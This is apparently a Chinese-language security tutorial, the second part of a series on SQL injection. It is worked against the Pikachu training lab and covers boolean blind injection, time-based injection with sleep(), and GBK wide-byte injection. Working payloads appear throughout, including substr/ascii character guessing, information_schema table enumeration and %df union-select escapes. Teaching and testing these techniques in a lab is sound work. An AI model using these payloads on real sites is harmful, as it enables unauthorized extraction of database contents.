SQL注入(二)

盲注

在实际的渗透过程中,网站设计者会将错误信息进行屏蔽,导致我们无法根据报错信息来进行注入的判断,这种情况下的注入,就是盲注

布尔盲注(based on boolean)

在盲注的过程中,我们会经常使用到以下函数

length(str)#函数 返回字符串的长度
substr(str,poc,len)#截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度
ascii()#返回字符的ascii码,返回该字符对应的ascii码
count()#返回当前列的数量

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

在pikachu下可以进行测试

输入正确的姓名

kobe' and 1=1# 会发现成功返回
kobe' and 1=2# 出现报错

这里只能判断用户存在还是不存在,所以不能使用报错注入的方式进行注入

只能使用判断的方式

可以先使用length判断长度

#回显成功
kobe' and length(database()) > 1#

#一直判断到大于7出现了错误,那么可以使用等于7,会发现成功回显,证明字符数为7
kobe' and length(database()) > 7#

然后此时再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)

#成功回显
kobe' and ascii(substr(database(),1,1)) > 111#
#出现报错,说明可能数据库第一个字符就是112
kobe' and ascii(substr(database(),1,1)) > 112#
#使用等于112 判断成功
kobe' and ascii(substr(database(),1,1)) = 112#

查看ASCII码表,查看对应的字符为p

ASCII码表:https://tool.oschina.net/commons?type=4

后面的字符依次类推,查出完整的库名:pikachu

后面的数据只需在前面的基础上将database()进行修改

对后面payload进行构造

#替换语句
(select table_name from information_schema.tables where table_schema = database() limit 0,1)
#判断长度
kobe' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) > 1#
#长度为8
kobe' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 8#
#爆列
#第一个值 h
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
#第二个值 t
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 2, 1)) =116#
#第三个值 t
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 3, 1)) =116#
#后面的依次类推

时间注入(based on time)

基于布尔型盲注我们还可以看到回显的信息,是否正确

在使用时间注入的时候,我们只能通过服务器的回应时间来进行判断,从而确定注入点

一般使用sleep()函数来进行判断

image-20240810194848672

看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#
#或者使用和盲注一样的 编码转义也可以
kobe' and if(ascii(substr(database(),1,1)) = 112,sleep(5),null)#
#后面的构造语句就和前面这些一样了,只需要替换database()数据即可

宽字节注入

查看源码,可以看到对输入的数据进行了GBK转义

image-20240810204643073

数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

宽字节注入的使用原因是:单引号、双引号等特殊字符被转义

宽字节注入的原理是:当转义使用的 \ 为 ASCII 编码,而客户端传入的参数被当成 GBK 等宽字节编码,则可以通过在 \ 之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让 MySQL 以为插入的字节和 \ 是一个中文字符,从而吃掉 \ ,摧毁转义

kobe %df' or 1=1#

kobe%df' union select 1,2#

kobe%df' union select 1,database()#

kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

#依次类推